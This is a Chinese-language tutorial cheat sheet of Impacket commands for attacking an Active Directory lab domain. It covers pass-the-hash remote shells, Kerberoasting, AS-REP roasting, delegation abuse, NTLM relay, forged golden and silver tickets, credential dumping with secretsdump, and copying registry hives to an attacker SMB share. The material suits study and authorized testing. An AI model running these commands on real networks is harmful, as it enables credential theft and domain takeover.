跳到主要内容

Impacket 命令总结

莫道君行早,更有早行人。

导航

  • 0 前言
  • 1 实验环境
  • 2 客户端
    • *exec【Shell 客户端】
    • smbclient【SMB 客户端】
    • mssqlclient【MsSql 客户端】
  • 3 侦查
    • getArch【枚举系统架构】
    • DumpNTLMInfo【枚举系统基本信息】
  • 4 域控
    • addcomputer【新建计算机账户】
    • changepasswd【更改域用户密码】
    • lookupsid【枚举域用户/组 SID】
    • GetADUsers【枚举域用户】
    • GetADComputers【枚举计算机账户】
    • GetNPUsers【枚举关闭预认证的域用户】
    • findDelegation【枚举委派账户】
    • GetUserSPNs【请求加密票据 ST 的哈希】
    • rbcd【基于资源的委派攻击】
    • ntlmrelayx【NTLM 中继攻击】
    • getST【在线申请 ST 票据】
    • getTGT【在线申请 TGT 票据】
    • ticketer【离线制作票据】
    • describeTicket【查看票据基本信息】
    • ticketConverter【票据格式 kirbi 与 ccache 互转】
    • secretsdump【远程/本地转储用户哈希】
  • 5 其它
    • net【枚举本地用户/组】
    • reg【注册表】
    • services【服务】
    • tstool【任务管理器】
    • rdp_check【RDP 访问检测】
    • smbserver【SMB 服务器】
  • 6 杂项

0、前言

Impacket 是一个面向 Windows 网络编程的 Python 类的集合,它专注于提供对数据包的低级编程访问。此外,它还提供了一些工具,用于对 Windows 系统进行渗透测试。

编写本文时所使用的 impacket 版本是 v0.12.0。

1、实验环境

  • 域名 - skylark.com
  • 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
  • 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
  • 域主机 - Win10 - Windows 10 专业版(22H2) - 192.168.56.14
  • 域主机 - Win7 - Windows 7 旗舰版(SPK1) - 192.168.56.13
  • Kali - 192.168.56.20
  • 普通域用户 - user
  • 域管理员用户 - admin

2、客户端

*exec【Shell 客户端】

#根据隐蔽性排序:wmiexec、dcomexec、atexec、smbexec、psexec。

#(1)使用本地管理员的账户进行本地登录,并对 shell 乱码问题进行编码处理
impacket-psexec administrator:'password@123'@192.168.56.14 -codec gbk

#(2)使用域管理组成员的账户进行域登录
impacket-smbexec skylark.com/admin:'password@123'@192.168.56.50

#(3)使用域管理组成员的账户以哈希的方式进行登录,并执行一次性命令
impacket-atexec skylark.com/admin@192.168.56.50 -hashes :6120a096324e6e862f3271af6d40250f 'whoami'

#(4)使用域管理组成员的账户以 TGT 票据的方式进行登录【票据认证】
export KRB5CCNAME=admin.ccache
impacket-wmiexec -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.14 skylark.com/admin@win10.skylark.com -shell-type powershell

#(5)使用域管理组成员的账户进行域登录
impacket-dcomexec skylark.com/admin:'password@123'@192.168.56.50

注意:各命令虽然都可以使用相同的方式进行登录,但是各命令可能还存在着独属于自己的一些功能选项,例如 wmiexec 支持获取 powershell shell,而不仅仅只是 cmd shell。但 psexec 却不支持此功能。

smbclient【SMB 客户端】

#(1)以账户密码登录
impacket-smbclient skylark.com/user:'password@123'@192.168.56.50
shares
use c$

#(2)以票据的方式登录
export KRB5CCNAME=user.ccache
impacket-smbclient -k -no-pass user@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

mssqlclient【MsSql 客户端】

3、侦查

getArch【枚举系统架构】

#(1)单个探测
impacket-getArch -target 192.168.56.14

#(2)批量探测
impacket-getArch -targets ip.txt

DumpNTLMInfo【枚举系统基本信息】

impacket-DumpNTLMInfo 192.168.56.50

4、域控

addcomputer【新建计算机账户】

#(1)在 Computer 组下新建计算机账户
impacket-addcomputer -dc-ip 192.168.56.50 -computer-name comp -computer-pass 'password@123' skylark.com/user:'password@123'

#(2)修改计算机账户的密码
impacket-addcomputer -dc-ip 192.168.56.50 -computer-name comp -computer-pass 'password@123' -no-add skylark.com/user:'password@123'

#(3)票据认证
export KRB5CCNAME=user.ccache
impacket-addcomputer -k -no-pass -dc-ip 192.168.56.50 -dc-host dc2012.skylark.com skylark.com/user -computer-name comp -computer-pass 'password@123'

注:计算机账户也可以像域用户那样被用来向域控或域主机发起查询请求,只是有时候一些查询请求只能通过域用户进行查询,而计算机账户不可以。此外,计算机账户在被当作登录账户使用时,需要在账户名称的后面加 $ 符号。

changepasswd【更改域用户密码】

#(1)更改自己的密码
impacket-changepasswd skylark.com/user:'password@123'@192.168.56.50 -newpass 'password@321'

#(2)以 admin 用户的身份去修改 user 用户的密码【注:新密码最好复杂一些】
impacket-changepasswd 'skylark.com/user'@192.168.56.50 -altuser admin -altpass password@123 -newpass 'Pass@123!' -reset

注:(1)admin 用户需要是域管理组成员或 Account Operators 组成员才拥有修改其它账户的权限;(2)Account Operators 组成员不能重置非管理员用户的密码。(3)自己的密码过期时,无法通过此工具自己修改自己,只能通过管理员的身份去修改自己。

lookupsid【枚举域用户/组 SID】

#枚举域中所有用户/组的 SID 值。
impacket-lookupsid skylark.com/user:'password@123'@192.168.56.50

#匿名枚举
impacket-lookupsid skylark.com/guest@192.168.56.50

#票据认证
#首先需要在 /etc/hosts 文件中添加 dc2012.skylark.com 的映射记录
export KRB5CCNAME=user.ccache
impacket-lookupsid -k -no-pass -target-ip 192.168.56.50 user@dc2012.skylark.com

GetADUsers【枚举域用户】

#枚举域中的所有域用户账户
impacket-GetADUsers -dc-ip 192.168.56.50 skylark.com/user:'password@123' -all

#票据认证
export KRB5CCNAME=user.ccache
impacket-GetADUsers -k -no-pass -dc-ip 192.168.56.50 skylark.com/user@dc2012.skylark.com

GetADComputers【枚举计算机账户】

#枚举域中所有的计算机账户
impacket-GetADComputers -dc-ip 192.168.56.50 skylark.com/user:'password@123'

#票据认证方式与 GetADUsers 一样。

GetNPUsers【枚举关闭预认证的域用户】

#(1)枚举域中关闭预认证的用户
impacket-GetNPUsers -dc-ip 192.168.56.50 skylark.com/user:'password@123'

#(2)请求关闭预认证用户在 AS-REP 响应包中加密会话密钥的解密哈希
impacket-GetNPUsers -dc-ip 192.168.56.50 -request -outputfile hash.txt skylark.com/user:'password@123'

#(3)爆破域中关闭预认证的用户,并请求解密哈希。
impacket-GetNPUsers -dc-ip 192.168.56.50 -usersfile user.txt skylark.com/

#(4)票据认证方式与 GetADUsers 一样。

注:解密哈希是指将原有的加密信息转化为可供 john/hashcat 解密的哈希。

findDelegation【枚举委派账户】

#枚举非约束委派和约束委派【无法枚举基于资源的委派账户】
impacket-findDelegation skylark.com/user:'password@123' -dc-ip 192.168.56.50

#票据认证方式与 GetADUsers 一样。

GetUserSPNs【请求加密票据 ST 的哈希】

#(1)列出已在域中注册的 SPN。
impacket-GetUserSPNs -dc-ip 192.168.56.50 skylark.com/user:'password@123'

#(2)请求服务票据的解密哈希
impacket-GetUserSPNs -dc-ip 192.168.56.50 -request skylark.com/user:'password@123'

#(3)当域用户量庞大时,只想检查指定用户是否拥有 SPN 时可使用。【注:貌似用处不大】
impacket-GetUserSPNs -dc-ip 192.168.56.50 -usersfile user.txt skylark.com/user:'password@123'

#(4)票据认证方式与 GetADUsers 一样。

rbcd【基于资源的委派攻击】

#(1)查询资源机器账户的委派用户
impacket-rbcd skylark.com/admin:'password@123' -dc-ip 192.168.56.50 -action read -delegate-to dc2012$

#(2)往资源机器账户中添加委派账户
impacket-rbcd skylark.com/admin1:'password@123' -dc-ip 192.168.56.50 -action write -delegate-to dc2012$ -delegate-from bot$

#使用如下
impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com skylark.com/bot\$:'password@123' -impersonate administrator

export KRB5CCNAME=administrator.ccache

impacket-psexec -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

#(3)清空资源机器账户中已有的委派账户【注:但不会将 AllowedToActOnBehalfOfOtherIdentity 属性删除】
impacket-rbcd skylark.com/admin:'password@123' -dc-ip 192.168.56.50 -action flush -delegate-to dc2012$

#(4)移除资源机器账户中特定的委派账户
impacket-rbcd skylark.com/admin1:'password@123' -dc-ip 192.168.56.50 -action remove -delegate-to dc2012$ -delegate-from bot$

注:(1)委派账户必须是机器账户,否则在申请服务票据的时候会不成功。(2)基于资源的委派,可通过 ADExpolrer.exe 查询机器账户中是否存在 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,属性值中则包含着可委派账户的 sid 值。(3)只有拥有域管理组成员或资源机器账户的创建者才拥有权限修改机器账户中的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。

ntlmrelayx【NTLM 中继攻击】

#(1)SMB 转 LDAP
impacket-ntlmrelayx -t ldap://192.168.56.50 -smb2support --remove-mic

#(2)转储目标机器的本地文件 SAM 中的用户哈希值(前提是转储用户是本地管理员或域管理员)
impacket-ntlmrelayx -t 192.168.56.50 -smb2support

#(3)转储成功之后在目标机器执行命令
impacket-ntlmrelayx -t 192.168.56.50 -smb2support -c "hostname"

getST【在线申请 ST 票据】

#(1)请求 域控 cifs 服务 的服务票据(ST)
impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com skylark.com/user:'password@123'

#使用如下
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.50 admin@dc2012.skylark.com

#(2)请求域主机 cifs 服务的 ST 票据
impacket-getST -dc-ip 192.168.56.50 -spn cifs/win10.skylark.com skylark.com/admin:'password@123'

#使用如下
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.14 admin@win10.skylark.com

注:面对同一个服务,普通用户请求到的 ST 和域管理员请求到的 ST 权限是不一样的。

getTGT【在线申请 TGT 票据】

#(1)TGT 票据申请
impacket-getTGT skylark.com/admin:'password@123' -dc-ip 192.168.56.50

#使用如下:【需用 TGT 票据再请求 ST 票据】
export KRB5CCNAME=admin.ccache
impacket-getST -k -no-pass -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com skylark/admin1
export KRB5CCNAME=admin2.ccache
impacket-psexec -k -no-pass admin1@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

注:impacket-getTGT 生成的票据无法被 impacket-psexec 直接使用(但可以被 mimikatz 导入使用),必须经过 impacket-getST 再申请一下才能正常使用。

个人猜测可能是因为票据 KeyType 的原因,impacket-getST 生成的票据类型是 rc4_hmac,而 impacket-getST 生成的票据类型是 aes256_cts_hmac_sha1_96,而 impacket-* 目前只支持 rc4_hmac 类型的票据?

ticketer【离线制作票据】

#(1)金票离线制作
impacket-ticketer -domain skylark.com -domain-sid S-1-5-21-1869548389-852568882-3188983647 -nthash cbd4de5d2e3909c6d2c3e92d050e6d01 admin1

#使用如下
export KRB5CCNAME=admin1.ccache
impacket-secretsdump -k -no-pass admin1@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

#(2)银票离线制作
impacket-ticketer -spn cifs/dc2012.skylark.com -domain skylark.com -domain-sid S-1-5-21-1869548389-852568882-3188983647 -nthash 17ab9bea9f9c555148dd63fb09eff580 admin2

#使用如下
export KRB5CCNAME=admin2.ccache
impacket-secretsdump -k -no-pass admin2@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

#(3)制作一张有效期为 240 小时的金票【默认票据的有效期是 10 小时】
impacket-ticketer -domain skylark.com -domain-sid S-1-5-21-1869548389-852568882-3188983647 -nthash cbd4de5d2e3909c6d2c3e92d050e6d01 -duration 240 admin

注:(1)金票制作使用的 -nthash 是 krbtgt 账户的哈希;(2)银票制作需要指定 -spn 参数,并且 -nthash 是 spn 指定服务的 机器账户的哈希。(3)上述实验中的账户 admin1 和 admin2 在域中其实并不存在,这说明用户名称对于金银票据的离线制作并没有什么关系。

impacket-describeTicket【查看票据基本信息】

impacket-describeTicket admin.ccache

注:如果执行以上命令提示无此命令,则可通过此命令 cp /usr/bin/impacket-addcomputer /usr/bin/impacket-describeTicket 解决。

ticketConverter【票据格式 kirbi 与 ccache 互转】

impacket-ticketConverter admin1.ccache admin1.kirbi

注:在 mimikatz 中使用impacket-* 请求的 ccache 票据时,需要将其转换为 kirbi 格式的票据。

secretsdump【远程/本地转储用户哈希】

#(1)使用管理员账户密码转储用户哈希
impacket-secretsdump skylark.com/admin:'password@123'@192.168.56.50

#(2)使用机器账户转储用户哈希
impacket-secretsdump skylark.com/'dc2013$'@192.168.56.50 -hashes aad3b435b51404eeaad3b435b51404ee:3a22ea39aa8ab8752381e686a4201661

#(3)使用票据转储用户哈希
export KRB5CCNAME=dc2013.ccache
impacket-secretsdump -k -no-pass 'dc2013$@dc2012.skylark.com' -dc-ip 192.168.56.50 -target-ip 192.168.56.50

#(4)本地转储域用户哈希
impacket-secretsdump -system ./system -ntds ./ntds.dit LOCAL

注意:此工具需要使用的账户必须是域管理组成员、本地机器账户、本地管理员 administrator 账户才行。

5、其它

net【枚举本地用户/组】

#(1)新建用户
impacket-net skylark.com/user:'password@123'@192.168.56.50 user -create bot007 -newPasswd password@123

#(2)将用户加入域管理员组
impacket-net skylark.com/admin:'password@123'@192.168.56.50 group -join bot007 -name 'Domain Admins'

#(3)票据认证查询
export KRB5CCNAME=user.ccache
impacket-net -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.50 user@dc2012.skylark.com user -name test

reg【注册表】

#(1)查询开机自启键下的指定值
impacket-reg skylark.com/admin:'password@123'@192.168.56.50 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\' -v 'VBoxTray'

#(2)转储 SAM/SYSTEM/SECURITY 文件【注:有 SECURITY 可以转储 LSA 中的哈希,一般是域控机器账户的哈希,但 impacket-secretsdump 输出的标识是 $MACHINE.ACC,实际指的是类似 DC$ 的机器账户。】
impacket-smbserver share . -smb2support

impacket-reg skylark.com/admin:'password@123'@192.168.56.50 save -keyName 'HKLM\SAM' -o '\\192.168.56.20\share'
impacket-reg skylark.com/admin:'password@123'@192.168.56.50 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.20\share'
impacket-reg skylark.com/admin:'password@123'@192.168.56.50 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.20\share'

注:访问注册表如同访问文件夹一样,也存在访问权限的问题。普通用户可访问的注册表项有限,只有管理员或 Backup Operators 组的成员才有权限访问大部分的注册表项。

services【服务】

#(1)列出目标机器上所有服务的运行状态
impacket-services skylark.com/admin:'password@123'@192.168.56.14 list

#(2)查看 DHCP 服务的运行状态
impacket-services skylark.com/admin:'password@123'@192.168.56.14 status -name dhcp

tstool【任务管理器】

#(1)查询目标机器远程桌面的会话状况
impacket-tstool skylark.com/user:'password@123'@192.168.56.14 qwinsta

#(2)切换桌面会话。将 id2 的现有会话切换为 id1 的会话,密码对应的也是 id1 会话的用户密码。
impacket-tstool skylark.com/admin:'password@123'@192.168.56.50 tscon -source 1 -dest 2 -password 'skylark@321'

#(3)查看进程
impacket-tstool skylark.com/user:'password@123'@192.168.56.14 tasklist -v

注意:切换会话时,要求两个会话都是活动状态,切换完成之后,source 对应的会话可能会被注销锁屏。

rdp_check【RDP 访问检测】

似乎不太准确的样子

smbserver【SMB 服务器】

#在当前目录下启动一个不需要账户密码的 smb 服务器
impacket-smbserver -smb2support share .

注意:在 Win10 机器上访问带账户和密码的 SMBServer 时,似乎总是不能够成功。

6、杂项

  1. Impacket 编程手册 参考。
  2. CIFS 服务的 ST 票据既可以通过 impacket-smbclient 查看文件,也可以通过 impacket-psexec 去远程连接。
  3. TGS 票据和 ST 票据代表的都是服务票据。
  4. 如果执行一些 impacket 命令时提示无此命令,则可通过拷贝同类命名的方式解决。例如impacket-describeTicket 命令可通过 cp /usr/bin/impacket-addcomputer /usr/bin/impacket-describeTicket 解决。